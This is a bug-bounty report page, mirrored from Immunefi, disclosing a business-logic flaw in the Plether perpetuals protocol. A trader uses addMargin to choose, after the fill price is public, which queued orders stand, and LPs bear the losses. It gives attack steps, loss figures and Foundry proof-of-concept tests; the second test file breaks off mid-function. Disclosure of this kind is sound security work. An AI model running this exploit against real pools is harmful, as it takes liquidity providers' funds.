Skip to content
Business logic Audit finding Advanced

A queued open is not binding: the trader decides after its fill price is public whether it stands (equity bound re-read after addMargin) and takes fast price moves from LPs for 0.20 USDG per attempt

A trader can queue an order whose equity bound would fail by default, then after the fill price is public, call addMargin to make the order pass or let it fail for a small bounty. This lets the trader take only winning price moves from LPs at a cost of 0.20 USDG per failed attempt.

Tekmer Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

#98838 [SC-Low] A queued open is not binding: the trader decides after its fill price is public whether it stands (equity bound re-read after addMargin) and takes fast price moves from LPs for 0.20 USDG per attempt

Submitted on Nov 10th 2026 at 14:04:10 UTC by @Tekmer for Audit Competition | Plether

Description

Brief/Intro

Plether's delayed-order model rests on queued orders being binding. Among its protections, packages/perps/SECURITY.md (Delayed-order model) lists: "binding order semantics and the lack of a user cancellation path prevent traders from turning queued intents into free options". A live order fills at the first unique Pyth tick after its commit second, so its fill price is fixed, and public, before any keeper executes it.

The order's own execution bounds are not fixed in the same way. minPostPositionEquityAssets and maxPostLeverageBps are evaluated at execution against the position's live margin, and CfdEngine.addMargin lets the owner raise that margin at any time, including while an increase is queued. A trader can therefore queue an increase that fails its own bound by default. If nothing else happens, execution ends the order as a terminal ConstraintViolation and the trader pays only the open bounty, at most 0.20 USDG. If the trader calls addMargin before the execution transaction, the same order fills at the already-fixed price.

So the trader decides whether a queued order stands, and decides after its fill price is known. Holding one such increase on each side from two accounts, the trader lets the side that is in profit at the fixed fill price stand, lets the other fail, and closes the filled leg at the next tick. LP principal pays the move.

This is the "risk free option" of the pre-audit finding SC-M4 ("Risk Free Option in 60Sec Oracle Window", fixed) through a lever that fix did not cover. The fix pinned the fill tick and made failed opens pay the bounty; the trader can still choose the outcome after the price is known. The settlement-balance bound already has the needed protection (ACCOUNTING_SPEC.md, "Funded settlement minimum for a pending flat open": funded at commit and re-checked on every withdrawal). The equity and leverage bounds do not.

This does not rely on the documented Arbitrum/Pyth clock limitation: the commit is earlier than the fill tick in both clocks, and a fixed commit delay would not stop it.

How long the choice stays open (measured on the Arbitrum Sepolia v2.0.0 deployment)

The choice lasts from the moment the fill tick is public until a keeper executes the order. The deployed system records both times in every OrderFinalized receipt of the OrderLifecycleBook (0x327d5fd04e17d96dd5c4f845a0b4256a9e19645c). From deployment to 10 November 2026 13:47 UTC (blocks 325,136,139 to 327,888,696) there are 276 terminal orders, all executed by one address (0x5a71a4094Ec81165Ada48AA4c27dA48ec27E0d6B, the deployer), 268 of them in Live mode. For those 268:

  • receipt.oraclePublishTime - receipt.timing.commitTimestamp is 1 s in every case: the fill tick is the first second after the commit.
  • terminalTime - receipt.oraclePublishTime (execution block time minus the fill tick's publish time) is 0 s in 4 orders, 1 s in 32, 2 s in 38, 3 s in 38, 4 s in 29, 5 s in 47, 6 s in 40, 7 s in 31 and 8 s in 9. The median is 4 s, and it is at least 1 s in 264 of 268 (98.5%).
  • The keeper became faster on 9 November. For the 66 orders of 9 and 10 November the median is 1 s, and 62 of 66 are at least 1 s.

Timestamps are whole seconds. Pyth publishes several updates per second and Arbitrum produces a block about every 0.25 s, so in almost every recorded execution a later price was public, with time to act on it, before the order was executed.

The PoC includes the opposite case as a control: when a keeper executes in the fill tick's own second, no order stands and the trader loses only the bounties. Keepers are permissionless, so a faster keeper narrows the window; nothing in the contracts closes it.

Root cause (a82d4fef, packages/perps/src)

  • CfdOrderPolicyEvaluatorBase.sol L367 and L530-539: post-position margin, equity and leverage are taken from the live position at execution and compared with the order's bounds. Nothing is recorded at commit.
  • CfdEngine.sol L501-529: addMargin checks the caller, a nonzero amount and an open position. It has no restriction while the account has a queued open or increase.
  • OrderRouterExecutionSidecar.sol L879-887 and router/OrderRouterBase.sol L72-74: a bound failure is terminal for the order at the cost of the open bounty (1 bp, capped at 0.20 USDG), whatever the notional.
  • PletherOracle.sol L610-613: the fill tick is the first unique update published after the commit second, so the fill price is fixed before execution.

Numbers (PoC, Arbitrum Sepolia v2.0.0 release parameters, 10M pool: 2M Junior, 8M Senior)

Each window: two increases of 3.9M USDG at 500x, one per side, from two accounts. "Trader net" is after every fee, bounty, VPI and carry, with everything withdrawn.

Case Orders that stood Trader net (USDG) LP principal (USDG)
Keeper executes 4 s after the fill tick (the measured median); basket moves +15 bps 1 of 2 +2,721.85 -4,286.85
Same, basket moves +40 bps 1 of 2 +12,467.94 -14,032.95
Keeper executes 1 s after the fill tick; +15 bps 1 of 2 +2,721.85 -4,286.85
Control: another keeper executes in the fill tick's own second; +15 bps 0 of 2 -4.01 +0.00
Seven windows of ordinary moves (all under 2 bps), keeper 4 s after the fill tick 0 of 14 -6.40 +0.00
Seven windows with moves of +35, -60 and +120 bps, keeper 1 s after the fill tick 3 of 14 +74,362.65 -79,053.79
Same seven windows with 2 bps Pyth confidence on every tick 3 of 14 +73,193.18 -77,884.40
Control for the seven windows: keeper executes in the fill tick's own second 0 of 14 -6.42 +0.00

In every test the trader's gain, the LP change, the treasury fees and the keeper bounties sum to zero within 5 USDG (asserted).

Attack steps

  1. Two accounts each deposit collateral and open a small base position, so that addMargin is available.
  2. Before a moment when the basket may jump, each account commits an increase at 500x whose minPostPositionEquityAssets is above what the order itself brings.
  3. The first Pyth tick after the commit second fixes the fill price of both orders.
  4. Before the keeper's execution transaction, the trader compares the newest price with that fill price. If the move exceeds costs (about 8 bps: two 4 bps execution fees), it calls addMargin on the account whose side is in profit.
  5. A keeper executes both orders with the fill tick. The validated one fills at the old price. The other ends as ConstraintViolation for 0.20 USDG.
  6. The trader closes the filled leg at the next tick and repeats. It carries price risk only between seeing the price and that close.

Impact

The trader's gain is paid from LP principal (Junior first). It is not ordinary trading profit: the trader chose whether to hold the position after seeing prices later than its fill price. Per event the pool loses about the move minus the fees, times the order notional, and one order can be as large as the skew limit allows (39% of pool depth in the PoC). Waiting costs 0.40 USDG per pair of orders. Ordinary one-second moves are below the fees, so the trader uses it when the basket can move fast, for example at scheduled data releases.

Recommendation

Evaluate the equity and leverage bounds against the margin recorded at commit plus the order's own margin; or reject addMargin while the account has a queued open or increase (as the funded settlement minimum already constrains withdrawals); or charge a failed bound on an open a fee proportional to its notional.

Proof of Concept

Three files in packages/perps/test/lp/: ReleaseMarketHarness.sol (shared harness), SelectiveFillAtKnownPrice.t.sol (the attack over seven windows, and its control) and SelectiveFillKeeperDelay.t.sol (keeper delay and a competing keeper). They build on the repository's own test/perps/BasePerpTest.sol, install the Arbitrum Sepolia v2.0.0 release parameters through the documented 72 h owner proposals, and use only public entry points as ordinary EOAs (two trader accounts, LPs, keepers): OrderRouter.commitOrder(OrderRequest), executeOrder, CfdEngine.addMargin, OrderRouter.settleLpEpoch. No in-scope contract is modified or impersonated. Pyth and the settlement token are the repository's mocks.

Run from packages/perps:

FOUNDRY_TEST=test/lp forge test --offline --skip script --match-path 'test/lp/SelectiveFill*.t.sol' -vv

Expected: 11 passed (3 in the first suite; the second suite runs its 5 tests and the 3 it inherits).

  • test_keeperFourSecondsAfterFillTick_15bpsMove: trader +2,721.85 USDG; LP principal -4,286.85.
  • test_keeperFourSecondsAfterFillTick_40bpsMove: trader +12,467.94; LP principal -14,032.95.
  • test_keeperOneSecondAfterFillTick_15bpsMove: trader +2,721.85; LP principal -4,286.85.
  • test_control_anotherKeeperExecutesInFillSecond: no order stands; trader -4.01; LP principal unchanged.
  • test_ordinaryMoves_noOrderStands: no order stands; trader -6.40; LP principal unchanged.
  • test_traderValidatesOnlyWinningOrders: trader +74,362.65 after all fees, bounties, VPI and carry; Junior principal 1,999,915.76 -> 1,920,861.22.
  • test_traderValidatesOnlyWinningOrders_withConfidence: the same with 2 bps Pyth confidence on every tick; trader +73,193.18.
  • test_control_noLaterPriceKnown: the keeper executes in the fill tick's own second; nothing is validated; trader -6.42; LP principal unchanged.

The keeper delay quoted in the description can be reproduced from the OrderFinalized events of the deployed OrderLifecycleBook (0x327d5fd04e17d96dd5c4f845a0b4256a9e19645c on Arbitrum Sepolia, from block 323658447): for each receipt with executionMode == Live, compare terminalTime with receipt.oraclePublishTime and receipt.timing.commitTimestamp.

File 1: packages/perps/test/lp/ReleaseMarketHarness.sol

Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

// Shared scenario harness: Arbitrum Sepolia v2.0.0 release economics, LP funding through the asynchronous vaults,
// trading through the production order entry point, and Pyth ticks supplied as explicit signed-update stand-ins
// (price, confidence, publish time, previous publish time) through the repo's Pyth mock.
//
// Every action is an ordinary EOA calling a public entry point. The only owner actions are the documented 72 h
// configuration proposals that install the release values. No in-scope contract address is impersonated.

import {BasePerpTest} from "../perps/BasePerpTest.sol";
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderRouter} from "@plether/perps/OrderRouter.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {IHousePool} from "@plether/perps/interfaces/IHousePool.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";

abstract contract ReleaseMarketHarness is BasePerpTest {

    address internal juniorLp = address(0x1A11);
    address internal seniorLp = address(0xA11CE);
    address internal keeper = address(0x4EE9);

    // Monday 2024-03-11 00:30 UTC: FX market open, outside the Friday risk window.
    uint256 internal constant START = 1_710_117_000;
    uint256 internal constant P0 = 1e8;

    /// Aggregate Pyth confidence attached to every tick, in units of the 8-decimal price.
    uint64 internal tickConf;
    uint256 internal orderNonce;

    // --- Arbitrum Sepolia v2.0.0 release economics (manifest "economics") ---

    function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
        return CfdTypes.RiskParams({
            vpiFactor: 0.01e18,
            maxSkewRatio: 0.4e18,
            maintMarginBps: 10,
            initMarginBps: 20,
            fadMarginBps: 300,
            baseCarryBps: 500,
            minBountyAssets: 1e6,
            bountyBps: 10,
            keeperShareBps: 5000,
            protocolShareBps: 0
        });
    }

    function _juniorDeposit() internal pure virtual returns (uint256) {
        return 2_000_000e6;
    }

    function _seniorDeposit() internal pure virtual returns (uint256) {
        return 8_000_000e6;
    }

    function _initialJuniorDeposit() internal pure override returns (uint256) {
        return 0;
    }

    function _initialJuniorSeedDeposit() internal pure override returns (uint256) {
        return 1e6;
    }

    function _initialSeniorSeedDeposit() internal pure override returns (uint256) {
        return 1e6;
    }

    function setUp() public virtual override {
        super.setUp();
        // Owner's documented 72 h configuration path: release senior cap/share, opening minimum, adverse multiplier.
        IHousePool.PoolConfig memory poolConfig = _currentPoolConfig();
        poolConfig.maxSeniorExposureAssets = 40_000_000e6;
        poolConfig.maxSeniorShareBps = 8000;
        pool.proposePoolConfig(poolConfig);
        IOrderRouterAdminHost.RouterConfig memory routerConfig = _routerConfig();
        routerConfig.minOpenNotionalAssets = 1000e6;
        routerConfig.adverseConfidenceMultiplierBps = 2500;
        routerAdmin.proposeRouterConfig(routerConfig);
        vm.warp(pool.poolConfigActivationTime());
        pool.finalizePoolConfig();
        routerAdmin.finalizeRouterConfig();
        assertEq(engine.executionFeeBps(), 4, "release execution fee");
        if (vm.getBlockTimestamp() < START) {
            vm.warp(START);
        }

        // LP deposits through the asynchronous vault flow; a keeper activates them at the epoch boundary.
        // Junior first: Senior admission is capped at 80% of the activated pool.
        uint256 r1 = _requestDeposit(juniorVault, juniorLp, _juniorDeposit());
        vm.warp(juniorVault.depositEpochStart(r1));
        _keeperSettle(P0);
        _claimDeposit(juniorVault, juniorLp, r1);
        uint256 r2 = _requestDeposit(seniorVault, seniorLp, _seniorDeposit());
        vm.warp(seniorVault.depositEpochStart(r2));
        _keeperSettle(P0);
        _claimDeposit(seniorVault, seniorLp, r2);

        // Ten minutes into an epoch, past the post-activation cooldown.
        vm.warp((vm.getBlockTimestamp() / 3600 + 1) * 3600 + 600);
        _keeperRefresh(P0);
    }

    // ------------------------------------------------------------------
    // Pyth ticks: one per second, each with its own publish time and previous publish time
    // ------------------------------------------------------------------

    /// Advances one block and one second and returns the Pyth update published in that second.
    function _nextTick(
        uint256 price
    ) internal returns (bytes[] memory data) {
        vm.roll(vm.getBlockNumber() + 1);
        vm.warp(vm.getBlockTimestamp() + 1);
        return _tickAt(price, vm.getBlockTimestamp());
    }

    /// The Pyth update with publish time `publishTime` (previous update one second earlier).
    function _tickAt(
        uint256 price,
        uint256 publishTime
    ) internal view returns (bytes[] memory data) {
        bytes32[] memory ids = _basePythFeedIds();
        MockPyth.FeedUpdate[] memory updates = new MockPyth.FeedUpdate[](ids.length);
        for (uint256 i; i < ids.length; ++i) {
            updates[i] = MockPyth.FeedUpdate({
                id: ids[i],
                price: MockPyth.MockPrice({
                    price: SafeCast.toInt64(SafeCast.toInt256(price)),
                    conf: tickConf,
                    expo: int32(-8),
                    publishTime: publishTime,
                    prevPublishTime: publishTime - 1
                })
            });
        }
        data = new bytes[](1);
        data[0] = abi.encode(updates);
    }

    function _keeperRefresh(
        uint256 price
    ) internal {
        bytes[] memory data = _nextTick(price);
        vm.prank(keeper);
        router.updateMarkPrice(data);
    }

    function _keeperSettle(
        uint256 price
    ) internal {
        bytes[] memory data = _nextTick(price);
        vm.prank(keeper);
        router.settleLpEpoch(data);
    }

    // ------------------------------------------------------------------
    // LPs and traders: ordinary EOAs through public entry points
    // ------------------------------------------------------------------

    function _requestDeposit(
        TrancheVault vault,
        address lp,
        uint256 amount
    ) internal returns (uint256 requestId) {
        settlementToken.mint(lp, amount);
        vm.startPrank(lp);
        settlementToken.approve(address(vault), amount);
        requestId = vault.requestDeposit(amount, lp, lp);
        vm.stopPrank();
    }

    function _claimDeposit(
        TrancheVault vault,
        address lp,
        uint256 requestId
    ) internal {
        uint256 claimable = vault.claimableDepositRequest(requestId, lp);
        vm.prank(lp);
        vault.claimDeposit(requestId, claimable, lp, lp);
    }

    function _depositCollateral(
        address account,
        uint256 amount
    ) internal {
        settlementToken.mint(account, amount);
        vm.startPrank(account);
        settlementToken.approve(address(clearinghouse), amount);
        clearinghouse.deposit(account, amount);
        vm.stopPrank();
    }

    function _withdrawAll(
        address account
    ) internal {
        uint256 balance = clearinghouse.balanceAssets(account);
        if (balance > 0) {
            vm.prank(account);
            clearinghouse.withdraw(account, balance);
        }
    }

    function _commit(
        address account,
        CfdTypes.Side side,
        uint256 size,
        uint256 margin,
        bool isClose
    ) internal returns (uint64 id) {
        OrderV3Types.OrderRequest memory request = OrderV3Types.OrderRequest({
            clientOrderId: keccak256(abi.encode(account, ++orderNonce)),
            side: side,
            sizeDelta: size,
            marginDelta: margin,
            targetPrice: (side == CfdTypes.Side.LONG) == isClose ? type(uint256).max : 1,
            isClose: isClose,
            bounds: OrderV3Types.ExecutionBounds({
                submitBy: uint64(vm.getBlockTimestamp()) + uint64(router.maxExecutionWindowSeconds()),
                executionWindowSeconds: uint32(router.maxExecutionWindowSeconds()),
                allowedExecutionModes: 7,
                expectedConfigHash: router.lifecycleBook().currentExecutionConfigHash(),
                maxExecutionBountyAssets: type(uint256).max,
                maxExecutionNotionalAssets: type(uint256).max,
                maxGrossAccountDebitAssets: type(uint256).max,
                maxActionChargeAssets: type(uint256).max,
                maxExplicitFeesAssets: type(uint256).max,
                maxPostPositionSize: type(uint256).max,
                minPostSettlementBalanceAssets: 0,
                minPostPositionEquityAssets: 0,
                maxPostLeverageBps: type(uint32).max
            })
        });
        vm.prank(account);
        id = OrderRouter(address(router)).commitOrder(request);
    }

    /// A keeper executes order `id` with the first tick published after its commit second.
    function _execute(
        uint64 id,
        uint256 price,
        address executor
    ) internal {
        bytes[] memory data = _nextTick(price);
        vm.prank(executor);
        router.executeOrder(id, data);
    }

    /// Commit at the current second, executed one second later at `price` by the ordinary keeper.
    function _trade(
        address account,
        CfdTypes.Side side,
        uint256 size,
        uint256 margin,
        bool isClose,
        uint256 price
    ) internal {
        uint64 id = _commit(account, side, size, margin, isClose);
        _execute(id, price, keeper);
        assertEq(router.nextExecuteId(), 0, "order queue drained");
    }

    function _size(
        address account
    ) internal view returns (uint256 size) {
        (size,,,,,,) = engine.positions(account);
    }

    function _pledge(
        address account
    ) internal view returns (uint256 margin) {
        (, margin,,,,,) = engine.positions(account);
    }

    /// Position size for `notional` USDG at price `price` (one lot is 100 tokens).
    function _sizeFor(
        uint256 notional,
        uint256 price
    ) internal pure returns (uint256) {
        return (notional / price) * CfdTypes.SIZE_QUANTUM;
    }

    function _trancheNav() internal view returns (uint256 senior, uint256 junior) {
        (senior, junior) = pool.getPendingDepositTrancheState();
    }

}

File 2: packages/perps/test/lp/SelectiveFillAtKnownPrice.t.sol

Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

// A queued open is supposed to be a binding intent: it fills at the first Pyth tick after its commit second and the
// trader cannot cancel it. But the trader's own `minPostPositionEquityAssets` bound is evaluated at execution against
// the position's live pledge, and `CfdEngine.addMargin` lets the trader raise that pledge at any time. So the trader
// commits an increase that fails its own bound by default (cost: the 0.20 USDG execution bounty), waits until the
// fill tick is public, and only then decides whether the order should stand, by adding margin or not.
//
// The trader keeps one such order pending on each side. After a move, the side that is already in profit at the
// fixed fill price is validated; the other side fails. The filled leg is closed at the next tick.
//
// Every action goes through public entry points as an ordinary EOA (two trader accounts, a keeper, LPs). The only
// owner actions are the documented 72 h configuration proposals that install the Arbitrum Sepolia v2.0.0 release
// values. No in-scope contract address is impersonated. Pyth and USDG are the repo's mocks.

import {ReleaseMarketHarness} from "./ReleaseMarketHarness.sol";
import {CfdMath} from "@plether/perps/CfdMath.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderRouter} from "@plether/perps/OrderRouter.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {console2} from "forge-std/console2.sol";

contract SelectiveFillAtKnownPriceTest is ReleaseMarketHarness {

    address internal longAccount = address(0xA77A);
    address internal shortAccount = address(0xA77B);

    uint256 internal constant BASE_NOTIONAL = 2000e6; // small standing position, so that addMargin is available
    uint256 internal constant BASE_MARGIN = 200e6;
    uint256 internal constant SIZE_NOTIONAL = 3_900_000e6; // 39% of pool depth (skew cap 40%)
    uint256 internal constant OPT_IN_MARGIN = 13_000e6;
    uint256 internal constant THRESHOLD_BPS = 10; // round-trip execution fees are 8 bps

    uint256 internal price = P0;
    uint256 internal attempts;
    uint256 internal fills;

    struct Totals {
        int256 traderNet;
        int256 seniorChange;
        int256 juniorChange;
        uint256 treasuryFees;
        uint256 keeperPay;
    }

    // ------------------------------------------------------------------
    // Tests
    // ------------------------------------------------------------------

    /// The keeper's execution lands one second after the fill tick's publish second. The trader has seen one more
    /// tick by then and validates only the order that is already in profit at the fixed fill price.
    function test_traderValidatesOnlyWinningOrders() public {
        Totals memory t = _runPath(true);
        assertEq(attempts, 7, "seven order pairs committed");
        assertEq(fills, 3, "three orders validated, eleven left to fail");
        assertGt(t.traderNet, 70_000e6, "trader nets > 70,000 USDG after every fee, bounty, VPI and carry");
        assertLt(t.seniorChange + t.juniorChange, -75_000e6, "LP principal pays > 75,000 USDG");
    }

    /// Same attack with a realistic Pyth confidence (2 bps aggregate) on every tick: fills are shifted 0.25 x
    /// confidence against the trader on the way in and on the way out.
    function test_traderValidatesOnlyWinningOrders_withConfidence() public {
        tickConf = 20_000;
        Totals memory t = _runPath(true);
        assertEq(fills, 3, "three orders validated");
        assertGt(t.traderNet, 65_000e6, "trader nets > 65,000 USDG");
        assertLt(t.seniorChange + t.juniorChange, -70_000e6, "LP principal pays > 70,000 USDG");
    }

    /// Control: identical commits and price path, but the keeper executes in the same second the fill tick is
    /// published, so the trader has no later price when it must decide. Nothing is validated; LPs lose nothing.
    function test_control_noLaterPriceKnown() public {
        Totals memory t = _runPath(false);
        assertEq(attempts, 7, "seven order pairs committed");
        assertEq(fills, 0, "no order validated");
        assertLt(t.traderNet, 0, "trader pays bounties and base-position costs");
        assertGt(t.traderNet, -20e6, "and nothing else (under 20 USDG)");
        assertGe(t.seniorChange + t.juniorChange, 0, "LPs do not lose");
    }

    // ------------------------------------------------------------------
    // Scenario: seven one-second windows on one price path (moves in bps of the basket)
    // ------------------------------------------------------------------

    function _runPath(
        bool traderSeesNextTick
    ) internal returns (Totals memory t) {
        _depositCollateral(longAccount, 60_000e6);
        _depositCollateral(shortAccount, 60_000e6);
        uint256 traderStart = _traderValue();
        uint256 treasuryStart = clearinghouse.balanceAssets(PROTOCOL_TREASURY_ACCOUNT);
        uint256 keeperStart = clearinghouse.balanceAssets(keeper);
        (uint256 senior0, uint256 junior0) = _trancheNav();
        console2.log("senior / junior principal before", senior0, junior0);

        _openBase(longAccount, CfdTypes.Side.LONG);
        _openBase(shortAccount, CfdTypes.Side.SHORT);

        int256[7] memory nextTickMoveBps = [int256(0), 35, 2, -60, -3, 120, 6];
        for (uint256 i; i < nextTickMoveBps.length; ++i) {
            _window(nextTickMoveBps[i], traderSeesNextTick);
        }

        // Unwind the two small base positions and withdraw everything.
        _trade(longAccount, CfdTypes.Side.LONG, _size(longAccount), 0, true, price);
        _trade(shortAccount, CfdTypes.Side.SHORT, _size(shortAccount), 0, true, price);
        _keeperRefresh(price);
        _withdrawAll(longAccount);
        _withdrawAll(shortAccount);
        assertFalse(engine.degradedMode(), "pool remains solvent: the loss is borne by LP principal");

        (uint256 senior1, uint256 junior1) = _trancheNav();
        t.traderNet = int256(_traderValue()) - int256(traderStart);
        t.seniorChange = int256(senior1) - int256(senior0);
        t.juniorChange = int256(junior1) - int256(junior0);
        t.treasuryFees = clearinghouse.balanceAssets(PROTOCOL_TREASURY_ACCOUNT) - treasuryStart;
        t.keeperPay = clearinghouse.balanceAssets(keeper) - keeperStart;
        console2.log("senior / junior principal after ", senior1, junior1);
        console2.log("order pairs committed / orders validated", attempts, fills);
        console2.log("trader net (USDG atoms, both accounts, after all fees, bounties, VPI, carry)");
        console2.logInt(t.traderNet);
        console2.log("LP principal change: senior, junior");
        console2.logInt(t.seniorChange);
        console2.logInt(t.juniorChange);
        console2.log("protocol treasury fees / keeper bounties", t.treasuryFees, t.keeperPay);
        int256 sum = t.traderNet + t.seniorChange + t.juniorChange + int256(t.treasuryFees + t.keeperPay);
        assertLt(sum > 0 ? sum : -sum, 5e6, "trader gain + LP change + fees nets to zero (within 5 USDG)");
    }

    /// One window. Second 0: both orders are committed. Second 1: the fill tick is published at the unchanged price.
    /// Second 2: the next tick prints `moveBps`. The keeper executes both orders with the second-1 tick.
    function _window(
        int256 moveBps,
        bool traderSeesNextTick
    ) internal {
        ++attempts;
        _keeperRefresh(price);
        (uint64 longOrder, uint256 longFloor) = _commitFailingByDefault(longAccount, CfdTypes.Side.LONG);
        (uint64 shortOrder, uint256 shortFloor) = _commitFailingByDefault(shortAccount, CfdTypes.Side.SHORT);
        longFloor;
        shortFloor;

        // Second 1: the first tick after the commit second. This is the price both orders must fill at.
        uint256 fillPrice = price;
        vm.roll(vm.getBlockNumber() + 1);
        vm.warp(vm.getBlockTimestamp() + 1);
        bytes[] memory fillTick = _tickAt(fillPrice, vm.getBlockTimestamp());

        uint256 nextPrice = moveBps >= 0 ? price + uint256(moveBps) * 1e4 : price - uint256(-moveBps) * 1e4;
        address filled;
        if (traderSeesNextTick) {
            // Second 2: the next tick is public before the keeper's transaction lands.
            vm.roll(vm.getBlockNumber() + 1);
            vm.warp(vm.getBlockTimestamp() + 1);
            uint256 seen = nextPrice;
          

The original report as published on Immunefi, by Tekmer. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the equity and leverage bounds are evaluated at execution against the live position margin, and addMargin can be called while an order is queued, so the trader can change the outcome after the fill price is fixed.

Impact

The trader's gain is paid from LP principal, and the pool could lose about the price move minus fees times the order notional, though a faster keeper narrows the window.

What the attacker needed

Two accounts with collateral; a small base position; ability to call addMargin; keeper delay after fill tick

The fix

The equity and leverage bounds should be evaluated against the margin recorded at commit plus the order's own margin, or addMargin should be rejected while an order is queued, or a failed bound should charge a fee proportional to notional.

How it was found

  1. Two accounts each deposit collateral and open a small base position.
  2. Each account commits an increase at 500x with a minPostPositionEquityAssets bound above what the order brings.
  3. The first Pyth tick after the commit second fixes the fill price of both orders.
  4. Before the keeper executes, the trader compares the newest price with the fill price and calls addMargin on the profitable side.
  5. A keeper executes both orders; the validated one fills at the old price, the other fails for 0.20 USDG.
  6. The trader closes the filled leg at the next tick and repeats.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A trader places an order that is supposed to be binding, but the order's safety check is only done later. After the price is known, the trader can add margin to make the order succeed if it is profitable, or do nothing and let it fail for a tiny fee. This lets the trader take money from liquidity providers without real risk.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Tekmer

View all

4 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.